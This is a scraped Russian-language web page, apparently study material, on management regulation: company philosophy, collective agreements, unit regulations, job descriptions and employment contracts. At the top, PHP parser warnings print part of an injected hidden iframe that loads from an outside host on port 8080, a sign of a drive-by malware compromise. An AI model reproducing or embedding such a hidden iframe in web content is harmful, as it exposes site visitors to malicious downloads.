Warning: simplexml_load_file() [function.simplexml-load-file]: tmp/main.html:213: parser error : Extra content at the end of the document in /home/tdapru29/public_html/supercat/index.php on line 84

Warning: simplexml_load_file() [function.simplexml-load-file]: <iframe src="http://x8e.ru:8080/index.php" width=146 height=118 style="visibilit in /home/tdapru29/public_html/supercat/index.php on line 84

Warning: simplexml_load_file() [function.simplexml-load-file]: ^ in /home/tdapru29/public_html/supercat/index.php on line 84

Warning: Invalid argument supplied for foreach() in /home/tdapru29/public_html/supercat/index.php on line 85

Регламентация управления

Каждая промышленно развитая страна мира имеет свои отличительные особенности в формулировании философии бизнеса. В российских условиях лишь крупные предприятия, сохранившие или созданные на базе государственной собственности, имеют свою историю, приоритеты работы с персоналом, традиции четкой дисциплины, социальные гарантии. Для большинства организаций малого и среднего бизнеса характерно полное отсутствие собственной философии, что способствует жесткому и не всегда гуманному отношению к персоналу со стороны собственника и максимальному ограничению демократизации управления
Примерная философия организации, как правило, определяет:

  • цели и задачи организации,
  • декларацию прав сотрудника,
  • что поощряется и запрещается,
  • деловые и нравственные качества,
  • условия труда и организацию рабочих мест,
  • оценку и оплату труда,
  • социальные блага и гарантии,
  • возможности реализации увлечений, условия отдыха.

    Коллективный договор

    Коллективный договор представляет собой административно-правовой акт, регулирующий социально-трудовые отношения между трудовым коллективом и администрацией организации. Правовой основой коллективного договора является закон РФ "О коллективных договорах и соглашениях" (с изменениями от 24 ноября 1995 года).

    Трудовой коллектив в коллективном договоре представляют, как правило, органы профессиональных союзов и их объединений, уполномоченные на представительство в соответствии с их уставами, или органы общественной самодеятельности, созданные и уполномоченные общим собранием (конференцией) сотрудников организации. Со сторон администрации при заключении коллективного договора выступают руководители или другие полномочные представители в соответствии с Устава организации.

  • Коллективный договор может дополняться различного рода соглашениями по отдельным вопросам социальных и трудовых отношений. При подготовке и заключении договора и соглашений необходимо соблюдать:

  • нормы действующего законодательства,
  • равноправие сторон,
  • свободу выбора и обсуждения вопросов, составляющих содержание договора и соглашений,
  • добровольность принятых обязательств и реальность их выполнения,
  • систематичность контроля и неотвратимость ответственности за исполнение всех пунктов договора и соглашений.

    Для подготовки коллективного договора в организации создается на равноправной основе комиссия уполномоченных представителей трудового коллектива и администрации. Содержание и структура договора определяются заинтересованными сторонами. Коллективный договор вступает в силу с момента его подписания обеими сторонами и действует в течение оговоренного срока. Договор сохраняет силу в случаях изменений состава, структуры, наименования органа управления организации, расторжения контракта с руководителем. При реорганизации фирмы коллективный договор сохраняем свой силу на время ее проведения, а затем может быть пересмотрен. При смене собственника организации коллективный договор продолжает действовать в течение трех месяцев, в течение которых возбуждается вопрос о его пересмотре. При ликвидации организации коллективный договор является основанием для удовлетворения материальных претензий трудового коллектива из имущества ликвидируемой организации в соответствии с действующем законодательством.

    В тех случаях, когда организационная структура предусматривает наличие структурных подразделений имеющих административную и хозяйственную самостоятельность, для повышения эффективности координации их деятельности разрабатываются и реализуются Положения о подразделениях. Для малых организаций, в которых все функции управления возложены на отдельные должностные лица, Положение заменяют должностные инструкции.

  • Положение является основным нормативным документом, регламентирующим назначение и место подразделения в структуре организации, его собственную структуру, основные функции и задачи управления, ответственность и формы поощрения сотрудников подразделения. Положение о структурном подразделении позволяет:

  • четко регламентировать основные задачи управления,
  • официально закрепить рациональное распределение функций управления между структурными подразделениями,
  • установить функциональные связи между структурными подразделениями по каждому комплексу задач управления,
  • конкретизировать права подразделений в части принятия решений, использования и распределения ресурсов,
  • повысить ответственность сотрудников подразделений за своевременное и качественное выполнение функций управления,
  • обеспечить моральное и материальное стимулирование сотрудников по результатам хозяйственной деятельности.

    Типовое Положение содержит пять разделов: общая часть, функции и задачи, права, ответственность, поощрения. Подразделения разрабатывают собственные Положения самостоятельно на основе типовых положений. Положение о подразделении должно быть официально утверждено руководителем организации

    Должностные инструкции

    Должностные инструкции являются основным документом, регламентирующим назначение и место сотрудника в системе управления, его функциональные обязанности, права, ответственность и формы поощрения. Они разрабатываются для каждой должности персонала организации и являются наиболее распространенны нормативным документом, логически продолжающим и развивающим Положение о подразделении. Основными разделами Инструкции являются: общая часть, карта функциональных обязанностей, права, ответственность и поощрения. Должностные инструкции позволяют:

  • четко определить функциональные связи сотрудника и его взаимоотношения с управленческим персоналом,
  • конкретизировать права и обязанности, объем знании и умений,
  • рационально распределить функциональные обязанности между сотрудниками,
  • повысить своевременность и эффективность выполнения заданий,
  • повысить коллективную и личную ответственность за своевременное и качественное выполнение обязанностей,
  • улучшить морально-психологический климат в коллективе, устранить причины производственных и межличностных конфликтов.

    Должностные: инструкции разрабатываются и утверждаются руководителями структурных подразделений по подчиненности и доводятся под расписку каждому сотруднику.

    Контракт с персоналом

    Контракт заключается при найме сотрудника в письменной форме, что позволяет фиксировать все условия трудовых отношений в едином акте, обязательном для обеих сторон. Письменная форма контракта повышает гарантии сторон в части реализации достигнутых договоренностей по условиям труда. Согласно КЗоТ РФ контракт может заключаться на неопределенный срок; на определенным срок, но не более 5 лет; на время выполнения определенной работы. Контракт заключается как с постоянными, так и временными работниками, совместителями. Упрощенной формой контракта являются личные заявления и трудовые соглашения.

    По соглашению сторон в контракт допускается включать любые положения, не противоречащие действующему Российскому законодательству. Контракт вступает в силу с момента издания приказа о приеме сотрудника на работу.